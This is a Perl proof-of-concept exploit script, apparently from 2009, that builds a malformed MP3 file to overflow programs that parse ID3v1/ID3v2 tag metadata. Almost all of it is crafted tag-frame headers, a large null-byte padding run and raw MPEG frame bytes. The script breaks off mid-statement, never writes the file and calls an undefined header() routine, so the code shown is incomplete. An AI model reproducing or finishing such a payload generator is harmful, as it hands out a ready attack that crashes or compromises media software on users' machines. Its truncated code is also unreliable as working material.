#!/usr/bin/perl # # Mp3 File ID3v1/ID3v2 Tag Metadata PoC Overflower v1.0 # # by Gjoko 'LiquidWorm' Krstic # liquidworm gmail com # http://www.zeroscience.org/ # 03.06.2009 # use strict; header(); print "\n"; system(pause); my $id3_header = "\x49\x44\x33\x04\x00\x00\x00\x01\x4F". "\x76\x43\x4F\x4D\x4D\x00\x00\x00\x12". "\x00\x00\x01\x00\x00\x00\xFF\xFE\x00". "\x00\xFF\xFE"; my $comment = "\x4D\x00\x4D\x00\x4D\x00\x4D"; my $bpm_header = "\x00\x54\x42\x50\x4D\x00\x00\x00\x0B\x00\x00\x01\xFF\xFE"; my $bpm = "\x4E\x00\x4E\x00\x4E\x00\x4E"; my $enc_header = "\x00\x54\x45\x4E\x43\x00\x00\x00\x0B\x20\x00\x01\xFF\xFE"; my $enc = "\x4C\x00\x4C\x00\x4C\x00\x4C"; my $url_tag = "\x00\x57\x58\x58\x58\x00\x00\x00\x06\x00\x00\x00\x00"; my $url = "\x49\x49\x49\x49"; my $copyr_tag = "\x54\x43\x4F\x50\x00\x00\x00\x0B\x00\x00\x01\xFF\xFE"; my $copyr = "\x47\x00\x47\x00\x47\x00\x47"; my $orar_tag = "\x00\x54\x4F\x50\x45\x00\x00\x00\x0B\x00\x00\x01\xFF\xFE"; my $orar = "\x45\x00\x45\x00\x45\x00\x45"; my $pub_tag = "\x00\x54\x50\x55\x42\x00\x00\x00\x0B\x00\x00\x01\xFF\xFE"; my $pub = "\x43\x00\x43\x00\x43\x00\x43"; my $disc_tag = "\x00\x54\x50\x4F\x53\x00\x00\x00\x0B\x00\x00\x01\xFF\xFE"; my $disc = "\x42\x00\x42\x00\x42\x00\x42"; my $title_tag = "\x00\x54\x49\x54\x32\x00\x00\x00\x0B\x00\x00\x01\xFF\xFE"; my $title = "\x44\x00\x44\x00\x44\x00\x44"; my $artist_tag = "\x00\x54\x50\x45\x31\x00\x00\x00\x0B\x00\x00\x01\xFF\xFE"; my $artist = "\x46\x00\x46\x00\x46\x00\x46"; my $album_tag = "\x00\x54\x41\x4C\x42\x00\x00\x00\x0B\x00\x00\x01\xFF\xFE"; my $album = "\x48\x00\x48\x00\x48\x00\x48"; my $genre_tag = "\x00\x54\x43\x4F\x4E\x00\x00\x00\x0B\x00\x00\x01\xFF\xFE"; my $genre = "\x4B\x00\x4B\x00\x4B\x00\x4B"; my $year_tag = "\x00\x54\x44\x52\x43\x00\x00\x00\x13\x00\x00\x01\xFF\xFE"; my $year = "\x4A\x00\x4A\x00\x4A\x00\x4A\x00\x4A\x00\x4A\x00\x4A\x00\x4A"; my $year_tag2 = "\x00\x54\x59\x45\x52\x00\x00\x00\x13\x00\x00\x01\xFF\xFE"; my $year2 = "\x4A\x00\x4A\x00\x4A\x00\x4A\x00\x4A\x00\x4A\x00\x4A\x00\x4A"; my $comp_tag = "\x00\x54\x43\x4F\x4D\x00\x00\x00\x09\x00\x00\x01\xFF\xFE"; my $comp = "\x50\x00\x50\x00\x50"; my $alar_tag = "\x00\x54\x50\x45\x32\x00\x00\x00\x0B\x00\x00\x01\xFF\xFE"; my $alar = "\x4F\x00\x4F\x00\x4F\x00\x4F"; my $track_tag = "\x00\x54\x52\x43\x4B\x00\x00\x00\x0B\x00\x00\x01\xFF\xFE"; my $track = "\x41\x00\x41\x00\x41\x00\x41"; my $null = "\x00" x 53663; my $data = "\xFF\xFB\x90\x04\x00\x00\x02\x62\x1B\xC4\x01\x00\x1B\x00\x4A\xC0". "\x88\x95\x0C\x63\x00\x0B\x94\xC3\x1D\x04\x98\x60\xC9\x88\xA7\xA3". "\xE4\x93\x0C\x29\x08\xC3\x83\x10\xC4\x44\xD1\x11\x11\x3E\xBF\x5D". "\xDC\xBA\xEE\xE7\xFD\x7A\xEE\xF9\xFD\x3E\x9E\xE2\x06\xF8\x7C\xA3". "\x8A\x06\x04\xE1\xF8\x3E\xF2\xEF\x07\x01\x00\x43\x1B\x28\x08\x75". "\x9F\x2F\x50\x20\xA7\x08\x03\x05\x38\x20\x66\x1F\xC9\xA0\x41\x90". "\x26\x20\x0C\x22\xE9\x72\x80\x81\xC9\xC3\x90\x40\xA0\x63\xC3\xE7". "\x00\x80\x00\xE1\xC5\xC2\x40\x00\x03\x85\x2D\x10\x03\xEF\x04\x16". "\x5D\xE4\xE9\x04\x01\x00\x40\xE1\x21\x38\x3E\x86\x9F\x71\x47\x79". "\x38\x9C\xA3\xAA\x04\x2D\x68\x81\x60\xF9\x77\xCA\x39\x41\x8E\x18". "\x69\x73\xFF\x97\x89\xDC\x08\x06\x0B\x9F\x58\xE0\x43\xC1\x01\xAF". "\x13\xBF\xF5\x83\xE5\x01\x07\xED\x4A\x9C\x18\x08\xA5\x14\x30\x01". "\x9B\x22\x3E\x51\xB7\x45\x20\x94\x74\xB6\x7E\xAE\x74\x19\x8E\x4A". "\xBC\xF7\x32\x4A\xF0\x99\x32\xEC\x72\x7D\x6D\xDF\xB2\x7E\x53\x3B". "\x5F\x4A\xAE\xDB\x35\x4E\xB8\x87\xCA\xC2\x77\x20\xF5\xC4\x4E\x50". "\x8E\x71\xBE\xFC\x51\x61\xE6\x5F\xD7\xC5\x3E\xE8\xA1\xAD\xFC\x67". "\xCE\x5A\xD4\xA9\xED\xA2\x49\xDC\xF3\x0C\xAE\x8D\xEA\x66\x79\xEB". "\x04\x92\x0D\xBB\x9D\xDE\x41\xD8\x30\x01\xA2\x42\xA8\x3C\x28\x61". "\xC4\x09\x1D\x93\x75\x87\xEC\x9B\xA7\x8F\x1B\xB1\x93\x42\xCC\x9C". "\xA0\xE5\x62\x0D\x51\xE9\x9C\xE9\x1A\x3B\x91\x8B\x41\x2E\xBB\xF3". "\xE9\xA5\x2C\xCF\x4C\xF8\xF1\x77\x88\x6C\xEA\x74\xDB\x4E\xB5\xE9". "\x66\xF5\xF8\x59\xCA\x36\xB4\xCF\x45\xCF\x28\x44\x5D\x39\x55\x0A". "\x42\xED\x58\x45\x41\x3E\x6E\x02\x13\x1B\xD4\x86\x6B\x63\xFF\xF4". "\xFA\xD6\x69\x36\xB9\x6F\xE2\xB6\x48\x95\x00\x20\x44\x38\x03\x7D". "\xBB\x49\xF4\x2B\x38\x86\xA1\xF7\x04\x18\x4F\xB4\x10\xAA\xE7\xD5". "\xA4\xCA\xC6\x66\xEB\xC7\x6F\x6D\x6C\x06\xD1\x53\x9F\x1D\x32\x68". "\x17\xFF\xFB\x92\x04\x13\x80\x13\x17\x54\xC7\x41\x23\x19\x02\x63". "\xC8\xD8\xFC\x24\xC3\x06\x4C\x91\x6F\x1D\x24\x98\x60\x89\x79\x22". "\x23\xE0\xD0\x8C\x09\x78\x04\xEC\x4C\x0C\xCC\x89\xA9\xF0\x78\xE8". "\x99\xFA\xE6\x6D\x86\x93\x32\x39\x55\x47\xD1\x8E\xFD\xFD\x0A\x21". "\x64\x53\xA6\x45\x6C\x7D\x8F\x3E\x19\xF9\x91\xE7\x54\xDC\xE1\xE3". "\xB3\x75\xE9\x6B\xFF\xB5\xB2\xA1\xB5\x9A\x45\x73\x6B\xF7\x08\xFB". "\xB4\x01\x10\x90\x81\x47\x55\x00\xD4\x10\x34\xDB\x4F\xE0\x44\x3D". "\x81\x1C\x40\xE2\x22\x46\x26\xD2\x06\xB8\xE6\x6F\x38\xEC\x46\x4C". "\x8D\x94\x0C\x11\x70\xF4\x70\xA5\x55\x1D\x5F\x22\xF5\x2D\x07\x45". "\xFA\x8B\x15\xBC\xA3\xDE\x9C\xB0\x8D\xC4\x38\xC6\x4B\xF8\x35\x9A". "\x93\x91\x97\xA8\x85\xEF\x10\xC9\x97\x35\xBD\x12\xB7\xBB\xAB\xD0". "\x27\xFE\xDF\x92\x6A\x9D\x09\x99\x9E\x6C\xDF\x25\xB7\xB7\x79\xB2". "\xEF\x7F\xA7\xE4\xA0\x98\x08\x30\x80\x80\x26\x24\x25\x05\xF2\x23". "\x0A\xEF\x87\xA6\xED\x90\x45\xAC\xFA\xA0\x6B\x03\x06\x40\x2A\x64". "\x5D\xE4\x38\xAA\x88\x3C\x70\xC3\xF0\xF5\xF4\x10\x64\x42\x73\xB4". "\xCA\x74\xCF\x37\x32\xDD\xEF\xCB\xC8\x41\xEC\x48\xC7\xB1\x7A\x44". "\x21\xF7\xE3\x11\xA5\x49\x8E\x46\x5E\xDC\x2C\xFD\x0C\xCF\xBF\xF4". "\xDA\xD2\x54\x9B\x66\x9A\xFF\x91\x4F\xFE\xD2\xC3\x1C\x56\x50\x12". "\x7A\xFC\xF6\x07\x91\xBA\x71\x93\x85\x00\x12\x30\x91\x5D\x8C\x9A". "\xD8\x81\x07\x0A\x10\x09\x16\x93\x51\x06\x94\x5A\x1D\xDB\x55\x7C". "\x8D\x4B\x8A\xAE\x42\xDF\x43\xD4\x8B\x36\x26\xF4\x53\xEE\xCF\xD8". "\x66\xAD\x08\x36\x8B\x48\xA9\x66\x7F\x9F\x3A\x46\x95\x1C\xC3\x3F". "\x70\xCE\x93\xFC\x27\x4B\xDE\xC4\xE6\xC5\x04\x06\xC8\x07\x8C\xAD". "\x49\x9D\x9F\xC9\xFE\x5F\xCB\xE3\x1B\x26\xCC\xFC\xB5\xE3\x7F\xF0". "\x63\xD9\xE6\x66\xAA\x52\x1D\x2A\x06\x20\x12\x18\x00\x0A\x91\xB9". "\x49\x0A\x10\xD2\x84\x31\xA2\x1B\xC7\x91\xE0\x7A\x7E\x41\x05\x4D". "\xFA\x36\x79\xFF\xFB\x92\x04\x0D\x80\x02\xF7\x38\x47\x41\x26\x18". "\x42\x5A\x23\xD8\xF8\x24\x23\x50\x4C\xC0\xE7\x1D\x26\x08\x60\x09". "\x92\x26\xE3\xA0\x80\x8F\x49\xDC\xC8\xA1\x1A\x74\x91\xE1\x1F\x36". "\x43\xB1\x8D\x49\x5D\xF8\x79\x33\x7E\xEC\xA9\x51\xED\xD4\x9C\x11". "\xD7\x8E\xAF\x64\x0C\x80\x90\x82\xB2\xC4\xDB\xCD\x9B\xF5\x55\x27". "\xD2\xEE\xEB\x10\xA6\x85\xB8\xB2\x7D\x1F\xA8\xC1\x0F\x32\xAF\xF3". "\x3D\x87\x3E\xDC\x00\x85\x96\xE7\xFF\xEE\xF4\x00\x24\x05\xC2\x09". "\x39\x65\x23\x6A\xB1\x91\x92\x8D\xA0\xE8\x35\xE5\x38\x87\x8D\xD7". "\x79\x1F\x88\x51\x9E\x48\x8C\x0A\xF0\x49\x5A\xE6\xE9\x44\x20\x6A". "\x21\x07\x6F\x42\xBE\x49\xDB\xF4\x2F\x10\xFD\x5F\xBC\xB0\x63\xEA". "\xC4\xEE\x3D\x0B\x7F\x2E\xAC\x3B\xF7\x5B\xF8\xDD\x16\x98\x7E\xBE". "\xFE\x6F\xD5\xE6\xCD\x80\x05\xF5\x56\xBE\xD6\x80\x79\x14\x96\x0F". "\x58\xC6\xFE\x06\xE7\x83\x41\x10\x09\x40\x05\xA5\x78\x3A\x30\x45". "\x10\x2D\xC8\xD0\x4D\xA3\x8B\x20\x44\x61\x4C\xB4\x8E\x22\x10\x42". "\x2B\x03\x92\x7D\x06\x70\xCF\x53\xBE\xFC\x20\x68\x24\x84\x0B\xAA". "\xEE\x45\x0E\x0A\x34\x73\xA2\x4A\xA9\x8A\x1E\x76\xDF\x35\x33\xA4". "\x5F\x36\x32\xB1\x08\x84\x5C\x0D\xBE\x16\xBE\xA3\xD2\x7E\xF2\x5C". "\x77\x3E\x1F\x1C\x77\xF9\x80\x89\x74\x4F\x3A\xE7\xDB\x1F\x04\x50". "\xE3\x92\xC3\xCF\x5E\x9B\x95\xCC\x48\x7A\xFC\x01\xE0\x02\x84\x04". "\x01\x78\xB0\xC1\x33\x15\x27\xB2\x9A\x67\x66\xEA\xAD\xA4\xCE\x91". "\xBB\x48\x7C\xAC\x36\xC6\xA3\x0F\x5B\x9E\xE1\xBA\x66\x1F\x17\x09". "\x1A\x69\x15\x22\x81\x13\x74\xFD\xFC\x0C\xFB\xCA\x47\xA9\xB9\x64". "\xFF\x36\x28\x85\x48\xCE\x53\xBD\x81\xE0\x27\x53\x04\xA0\x90\x3D". "\xD2\x96\x47\xE9\xB1\x69\xA9\x14\xC7\xB3\x79\xCE\xF1\x3B\x38\xBE". "\xEB\x3F\x63\x35\x6C\xC6\x66\x82\x56\x6E\x77\x79\xB3\xB4\x71\x2A". "\x0D\x56\xDC\xCE\x7D\x72\xA9\xB8\xE1\xDE\x38\x55\x81\xCC\x99\x74". "\x8D\xB8\x14\xB9\x38\xFF\xFB\x92\x04\x0A\x80\x02\xFA\x49\x4A\xE0". "\x62\x1E\x8A\x5F\x86\xF8\xF8\x18\x63\x5C\x4C\x29\x11\x1C\xA4\x8C". "\x68\x49\x74\x9E\x25\x30\x30\x8F\x85\xB8\x44\xBA\x27\xC1\x1B\x27". "\xC8\x69\xBE\x65\x23\xCC\xEA\xB0\xCE\xD8\x04\x45\x40\xCD\x5C\x51". "\x50\x8A\x95\xE6\x46\x53\xAD\x64\x42\x38\x73\x23\xD6\xE8\xA7\xED". "\x63\xFF\x36\x2F\x73\x42\x59\x18\x9F\xF6\x06\x65\x07\x51\x18\x92". "\xC3\x33\xEF\x63\xFC\x3F\x01\x6A\x71\xFD\xF7\xAC\x89\xDD\x77\x94". "\xF5\x32\x76\x86\x44\x05\xCF\x47\x03\x12\xE4\xB4\x8E\x49\xE5\xC1". "\x2C\x46\xAE\xE7\x63\x57\x57\x13\x1E\xE9\x71\xEA\xDB\x77\x52\x35". "\x2C\xF1\x6F\x97\x4E\x9A\x12\x1F\x5C\x15\xAE\xD2\x34\x48\x44\x7B". "\xC3\x6C\xB1\xC9\xE8\x6E\xD4\xD2\x57\xAB\x93\xE0\x91\xB9\x26\x28". "\x4F\x2B\x5F\xDF\xC0\xDA\x40\x02\xF2\x2E\xD7\xB1\x47\xB9\x85\xD2". "\xD4\x8B\x3D\x61\x5E\x4E\xE3\x41\xA4\x44\xD8\xC4\x34\xBE\x4E\xBE". "\x96\x68\x94\x68\x29\x81\x41\x74\xA9\x46\xA9\x13\x4E\x46\x08\x47". "\x19\x0C\x89\x89\xCA\x8B\x2E\x92\x85\x32\xE4\x12\x14\x29\x55\x4F". "\x26\x69\xDD\x5C\x23\x27\x97\x25\x35\x09\xDB\x9B\x1B\x9F\x2B\x14". "\xA4\xDD\x3D\xF4\x96\x4D\xB8\xA7\x05\x07\x04\x86\x71\x8F\x6E\xC4". "\x63\x84\x92\xB2\xBF\xC6\x21\xE9\x2F\xF0\x74\xC5\xF7\xF7\xA0\x1C". "\xBB\x4A\xBA\x5E\x14\xD9\x83\xBD\xE6\x24\x2C\x7D\xD6\x89\x2E\xBE". "\x36\x7D\xF6\xDA\x21\x42\xAC\x4E\x4D\xA8\x05\x0C\x1E\x40\x27\x11". "\x63\xC4\x21\xAA\x0A\x23\x88\xF1\x02\xA2\x18\xB4\x69\x63\xA2\x1E". "\x0B\xA4\x6B\x2E\x08\x9A\x99\x6A\xD9\xF5\x83\x38\x53\x81\x1C\x13". "\xE4\x93\x91\x94\x3A\x4B\xEE\xB5\x79\xD3\x61\xFE\xE4\x51\x10\xF2". "\x46\x23\x07\x3D\xEE\x39\x01\x9F\x16\x15\x4F\x04\x3A\x2C\x7E\x7C". "\xEC\x56\xF1\xE2\xBB\x7D\xFF\xED\xE2\x3E\xDA\xB7\xDA\xAF\xFE\xC9". "\xCD\x55\x16\xD1\x2B\xD4\x1E\x3A\x9C\x35\x9C\x59\xD4\x11\x57\x86". "\xC2\x1C\xCA\x2B\x2A\x90\x46\xFF\xFB\x92\x04\x0A\x80\x02\xEE\x2F". "\x47\xC1\x23\x19\x92\x5D\x6A\x28\xF8\x24\x63\x5E\x4C\x39\x03\x1F". "\x23\x18\x60\x49\x7B\x98\x23\xA0\xF0\x8C\x01\x22\x31\x74\x85\xBE". "\xCC\x9B\x9D\x6F\x20\x70\x72\x9B\x85\xC9\xB0\xE5\x16\x7D\xFF\x7B". "\xBD\x5D\xDE\x98\x91\x65\xC3\x26\x13\x4F\x6F\x33\xB5\xB3\xBA\x21". "\x93\x9E\xD6\x20\x24\x3D\x42\x0C\x7A\x5D\xA2\xBD\xF4\xDA\xB3\xFA". "\xC8\xF9\xF9\x53\x0F\xF2\xFF\xBF\x32\x4B\x78\xDF\x3B\x1A\xCF\x7B". "\xAB\x9F\x77\xF5\x05\x06\x0A\xE8\x98\x4D\xB4\xAB\xB5\x67\x47\x10". "\x9A\xAB\x0A\x73\x09\x68\xEF\x65\x36\x8F\x5F\x76\xE3\x4E\xA9\xA6". "\x84\xA9\xEA\xED\xEB\xE7\x4F\xF7\x87\x21\x6A\x9E\xAF\x77\x67\x2D". "\x57\xC5\x1B\x55\x24\xEF\x36\x25\xAE\x7B\xDF\x92\xB7\x33\xCF\xCE". "\xFC\xC8\xAF\x09\x0B\x96\x6D\xA9\xD0\x53\x24\x4C\xEE\x40\xAD\xBC". "\xD5\xFB\xBF\xA3\xB6\x1A\xBF\x80\x18\xEE\xCB\x40\xEE\x2A\xFA\x7D". "\xD5\x03\x4C\xA9\x42\xAA\x01\x89\x8E\x9B\x4E\x09\x3A\x48\xD0\x4C". "\xA8\x8C\x66\x83\xAB\x66\xA5\x68\xC7\x82\x77\x71\x6B\x2C\x16\x67". "\x49\x13\xE4\x3D\x90\x4D\x18\xE5\x9C\x14\xE9\x25\x47\x97\x38\x3A". "\x45\xD0\x3B\x1B\xB1\x3D\x91\xCF\x73\xC9\x4D\xE6\x4B\x46\x64\xC0". "\xED\xB9\xC3\xB4\x87\xF5\x84\x97\xFA\xA7\x46\xBD\xAC\x6D\xF2\xA3". "\xB1\x0C\xDC\x89\x13\xBF\x0C\x1E\xDB\x96\x2B\x6F\xDA\xF9\x4E\x5B". "\x9F\xE8\xF6\x03\x8A\x80\x60\x57\xBF\x0B\x00\x60\xD1\x08\x60\x6E". "\x14\xA6\x29\xC6\x07\xAD\x77\x8A\x4E\x65\x0E\x51\x02\x14\xA3\x99". "\xAA\xD3\xAF\xA1\x52\xAD\x7B\x76\x8D\xB7\xB5\xD1\xD6\x7A\x3C\x69". "\x55\xC4\x64\x21\x03\x42\x13\xEA\x95\x4F\x5F\xEB\x7C\xFE\xFF\xAD". "\x93\x46\xEB\xBF\x79\x17\x98\xDA\x57\x38\xFE\x51\xAC\x0C\x6E\x72". "\x24\xD7\xF5\x1D\x64\x55\xD8\x15\xB7\xCA\x2A\x63\x95\xEA\x37\x69". "\x5E\x75\x09\xE5\xAA\x9A\xA5\x46\xDB\x9D\x09\x72\xD3\x82\xCA\xAB". "\x9A\x32\x21\x7A\x94\x4C\x51\x1A\x84\xFF\xFB\x92\x04\x0B\x80\x02". "\xE1\x33\x48\xC8\xC3\x1A\xE2\x60\x68\x99\x19\x18\x23\x20\x4B\x80". "\x89\x1D\x04\x04\x74\x49\x83\xA2\xA3\xA0\x93\x0C\x39\x3C\x04\x4B". "\x98\x7A\xE7\x97\x72\x2B\x3A\x62\xBA\x9B\x1A\x21\x95\x3D\x72\x51". "\x04\x88\xB1\x6F\x1B\x91\xB2\x2B\x5C\x9F\x27\x20\x85\x68\x49\xF5". "\x8C\xAA\x1C\x07\xFC\x33\xB5\xFB\xFD\xE0\xFE\xD4\x17\x64\x2F\x58". "\x7A\xA6\xBF\xAB\x75\xC8\xB4\x77\xA5\xFD\x60\x26\xE6\xC9\x36\xAA". "\xAF\x98\x0A\xCA\x0B\x55\x55\x21\x55\x7B\x05\x12\xC3\xF1\x5D\xDB". "\x8E\xCD\xAB\xEF\xF2\x9B\x11\xA8\x30\x66\x5E\x6C\x1A\x74\x23\x50". "\x12\x39\x34\x84\xB4\xD4\xA9\x15\x2C\x98\xDA\x33\x1C\xB7\x88\x4A". "\xB5\x02\xE9\x14\xAA\xA2\x45\xBE\xDC\x8D\xE9\x0F\xA9\x77\x37\x0F". "\xE4\x48\x77\x05\x2D\x1D\xC9\xC7\x28\x0A\x15\xA2\xA8\x71\xA0\xD7". "\x01\xAE\x9E\x7D\x43\xBA\xCF\x71\xAF\x7F\xFA\xBB\xE7\x78\x46\xA7". "\xDE\xDF\xB0\x04\x25\x10\x00\x22\xE7\xB8\xD4\x98\x30\x55\xE1\xE2". "\x8B\x4A\x9F\x31\x88\x4A\x28\xD7\x5A\x12\x50\x46\xEC\x20\xB9\xC9". "\x63\x3B\xFB\xCC\x51\xE1\x5C\xCA\x09\x94\xE2\xE5\x08\x3B\x6C\x89". "\xB1\xE1\x87\xD6\xB0\x3F\xBD\x37\xA2\x61\x55\x05\xEC\x95\xE5\xB0". "\xA9\xAF\x4E\xB8\x57\xD4\xA6\xDF\x2B\xB8\xDA\x7F\x84\xAD\x76\x19". "\xB6\x32\x3B\x9A\xBF\x30\x1E\xDD\x8F\xBF\x4D\x8F\x87\x3D\x60\x00". "\x0C\x52\x82\x21\x70\x75\x49\xAC\x8A\x58\x84\x75\x4B\x2B\x06\x87". "\xD6\x22\x6F\x75\x1D\x1E\x66\x86\xF7\xE4\x3A\xAC\x94\xC9\xE1\xEE". "\xA5\x36\x93\x85\x8D\x82\x19\x4F\x63\xE4\x47\x22\x26\x77\xA9\xB7". "\x4B\x28\x56\xA1\x24\xA6\x4A\xBE\x85\xCE\x51\x46\x72\x99\x96\xD9". "\x77\x4B\xE2\xC2\x31\x32\x89\x4F\x76\xB7\x5C\xD4\x11\xFD\xED\xD3". "\x9E\xDD\x83\x46\x1C\xFC\xB2\xA4\xA7\xEB\xEE\x9B\x87\xCA\xDD\x2A". "\x10\x1C\x00\xC0\x44\x3E\xD8\x0E\xDD\x7A\x39\x1B\x4D\x5B\x64\x53". "\x6A\x94\xCC\x77\xA7\xB1\xC5\x8C\xB7\x16\x44\xFF\xFB\x92\x04\x0D". "\x80\x03\x01\x60\x46\xC0\xC1\x1B\x02\x5C\xC5\x98\xE5\x30\x23\x10". "\x4C\x91\x81\x29\xE1\x24\x63\x69\x88\x98\x23\xA0\x90\x8D\x41\x14". "\x59\x23\x47\x9B\xAE\x39\xB5\xCB\x56\x73\x63\xBC\x27\xE1\xE8\x13". "\xFF\x95\x27\xE0\xBE\xD5\xB9\x19\x59\xAA\x66\xED\x1C\xB1\xB8\x6E". "\x5A\x77\x5F\x52\xDA\xEC\x54\x9B\x0F\x91\xF5\x4E\x37\x95\x47\xE7". "\x32\xF4\x8A\xF9\x16\xD9\x50\xBE\x6F\xE7\xE4\x4C\x1F\x54\xA4\xDF". "\xFA\xBC\x35\xCB\x80\x14\x00\x3E\x61\xC8\xA0\x50\xA1\x20\x87\x10". "\x41\xC2\x58\x1A\x52\x0C\x76\xC3\xE1\xB2\x53\x6F\x31\x16\xA4\xAC". "\xF9\x4A\x46\xAE\xEA\x85\x51\x0C\xA1\x13\x0B\x6D\xD8\xD0\x90\xA7". "\xF6\x7C\x06\x77\x12\x64\xC1\x3F\x2F\x6F\xF5\x59\x6B\x30\xC4\xAE". "\x35\x7C\x8E\x63\x73\x57\xDD\x24\x6F\xA4\x80\xC9\x9F\xDA\x76\x8F". "\xD5\x56\x2C\x68\x1C\x1B\x76\x9F\x8A\x48\x8E\xD2\xDF\x66\xFB\xDB". "\x48\x04\x46\xA6\x70\xE2\x71\xA2\x50\x00\x8C\xF1\x74\xEB\x51\x6B". "\x8E\xA1\xEB\x36\x1F\x11\x30\x6C\x6C\x9E\x8C\x53\xB8\x72\x20\xF4". "\xDC\xFA\xC8\x37\xCC\x3E\xE8\xB7\x4D\xAF\x73\x96\xE6\x59\xF9\x97". "\x3D\x01\x07\x34\xCB\xE4\x4A\x41\x0B\x4C\xC7\xCC\xCC\xBF\x52\xEC". "\x6C\xD8\xBE\xDA\x59\x24\x2E\x4B\xED\x4C\x63\xA6\x4F\xA2\xE4\x76". "\xAF\x48\x89\x17\xD7\xA6\x59\xDA\xB9\xF3\xF9\x77\xCF\x7C\xE8\xC5". "\x0E\xF3\x61\xF9\xC1\x85\xA0\x22\xB2\x02\xE4\xB3\x1F\x36\xBD\x2A". "\xC5\xA2\xC4\xCC\x0B\x12\xA5\xA0\x0B\xAB\x85\x50\x62\x00\xEB\xBD". "\xB8\x84\x52\x62\x91\xEA\xE6\x97\x10\x24\xDF\x3A\x99\xAD\x5C\x89". "\xCE\xF0\xB3\x23\xE3\x4B\x83\x23\x6C\x6F\x94\x5B\xF9\xC4\x11\xFE". "\x86\x52\xFE\x92\xCC\x0D\x26\x84\x90\x50\xBA\xD9\x64\xB8\x9D\x76". "\xCC\x8B\xA5\xBC\x09\x4B\xDF\x0F\xF6\x8F\x99\xC8\x59\x7F\xC9\x3E". "\x77\xF3\xBD\x04\x87\xC2\xEC\x5A\x0A\x40\x94\x5D\x54\x4A\x60\x78". "\x26\x56\x9C\x74\xD1\x85\x6A\xD5\x0D\x85\x24\x50\x83\xFF\xFB\x92". "\x04\x0A\x80\x03\x0B\x36\xC8\x48\xC3\x1A\xE2\x5D\xE8\x98\xF8\x24". "\x63\x10\x4B\x84\x5B\x2B\xA1\x84\x70\x29\x73\x17\xE4\x24\x60\x8C". "\xC1\x9B\x9A\xBC\x8B\x4B\xA6\xB1\x52\x97\x91\x20\x3F\x99\x0B\x18". "\x7A\x24\x4B\x0B\x60\x53\x26\x22\xE8\xEC\x5F\x1F\x87\xCB\x33\x2D". "\x5C\xB3\xA6\x66\x66\x18\xF0\x74\x2E\xF4\x51\xF3\x84\xCB\xC9\x8E". "\xC7\x1A\xEE\x75\xC5\x7F\x96\xB7\x7B\xAF\xE6\xDC\xD5\x9D\x27\x5D". "\x57\x46\x83\x57\xFA\x78\x8C\x56\xCB\x1F\x18\xEE\x3B\x80\x30\x80". "\x2E\x82\x76\xD4\x64\x75\x8E\x03\xEA\x81\x1E\x53\x55\x24\xE4\xDE". "\xAC\xD2\x19\x4A\xE8\x2C\x3B\x0A\x54\xB4\xA7\x3D\xF2\xBA\x99\xF4". "\xBA\xA3\x13\x9E\xE5\x49\x20\x8A\x7D\xEC\x77\x65\x68\xF4\x8C\xAF". "\x4A\x97\x72\xE2\x13\xD7\x45\x27\xD9\xDD\x17\x28\xB6\xBA\x1C\xC6". "\x88\x94\xE3\x43\xEC\xD5\xBE\xA7\xFD\xFC\x5D\xFF\x98\x73\x73\xDD". "\x17\x24\xD5\xCC\x48\x65\x9B\x6F\xC9\x59\xF1\xC2\x29\x59\x63\x72". "\x34\x50\x04\xB9\x84\x24\x44\x26\x75\x14\x38\x83\x77\x14\x07\xA4". "\xB9\x0D\x69\x20\x41\x47\x9B\x12\xBB\x09\x04\x24\x70\x61\x05\x9A". "\x47\x8D\xFA\xC3\xE5\xBD\xEE\x74\xE4\x1E\x1D\xCC\x11\x46\x56\x72". "\x5F\xEF\x80\x25\xE9\x3B\xF8\x12\xD5\xFB\x7C\xAD\x05\x09\x87\xFF". "\xBE\x18\xF1\x20\xF3\x57\xC2\x84\x91\x91\xB1\x1F\xFF\xEF\xF3\xBF". "\xEC\x1C\x7E\xE4\x76\xBA\xDD\x2D\x45\xAC\xCA\xB2\x80\x0C\x39\x9A". "\x24\xD6\x29\x41\xF6\x06\x7A\x13\x68\xB8\xB5\x14\x7E\x18\xC6\x0A". "\xF0\x5D\xCD\xF9\xCA\x6E\x79\x28\x6C\xE2\x83\x7A\x9F\xBA\xC4\x22". "\x63\x9A\xBC\xF2\x67\x2F\xAF\xD7\xC8\x29\x98\xEA\x12\x6C\xE6\x42". "\xE6\x90\x9C\x31\xD5\x72\xEC\x20\x84\xD5\xF7\xCF\x74\xB5\xFE\xDD". "\xCF\xE1\x28\x8A\xFF\xFF\x2F\x79\x35\xE5\x3D\xF4\x5D\xF5\x5B\xDD". "\x7D\x77\xED\xAD\xD5\x84\x13\x21\x26\x24\xE7\x05\x2B\x20\xB2\x2C". "\x26\x3D\x27\x5A\x44\x89\xB2\x64\xE9\x30\x4E\x4F\x99\x95\xA5\xFF". "\xFB\x92\x04\x0D\x04\x02\xE4\x45\xC7\x28\xC3\x1A\xE2\x5F\xE5\x08". "\xE9\x24\x63\x52\x4C\x39\x5F\x1D\x04\x98\x60\x89\x71\x16\xE3\xE0". "\x91\x8C\xC9\xA7\x74\x88\x46\xDA\xE8\x8F\x09\xFE\xD1\x67\x05\xE2". "\xB6\xA6\xE4\x6B\x2A\xE5\x7A\x4E\xBE\xD9\x9F\xCF\x87\x0A\xF4\xBB". "\x3C\xB8\x66\x49\x9E\x6F\x87\x9F\xC5\x61\x53\xB5\xC9\xBE\x4A\x3B". "\x9D\xDE\x6B\x5E\x2B\xE0\x6A\x2D\xFD\xC9\x8C\xB4\x78\x7B\xFA\xE2". "\x08\x8B\x9B\x4D\x77\x02\x01\x49\x00\x60\x00\x35\xAB\xC2\xD1\x22". "\x5A\x4D\x2F\xAD\x49\x03\x6C\x2C\xD8\xC5\x2F\x59\x61\x1B\x53\xFC". "\x3B\x67\x5F\x86\x92\x14\xAB\x73\xEB\x53\xBD\x8E\x30\x54\x88\x24". "\xC9\x0A\xE2\xDC\x33\xB7\x66\x94\xEB\x4C\xA2\xA3\x08\x1E\xF8\xA5". "\x5F\x49\x4F\x96\x90\xD8\xA7\x61\x45\xFF\xE6\xBE\x30\xA7\xD7\x5D". "\xC2\x9E\xBB\xDA\xAF\x61\x52\xBE\x19\xDB\x6A\x20\xEF\x13\x40\x19". "\x90\xD2\x67\xCF\xBD\x60\x2C\x88\x8F\x84\x02\x18\x95\x26\x74\x52". "\x7B\x8B\x75\x66\x7A\x57\x31\xDE\x19\xF1\x58\x98\xA5\x2C\x83\xCF". "\x86\xC5\x54\xBA\xB9\x8E\x11\x32\x41\xCD\x49\x6C\x3C\x17\x0E\x53". "\x24\x28\x26\x04\x96\x42\x36\xD9\x10\xD1\x5B\x54\xA6\x5F\xE7\x5B". 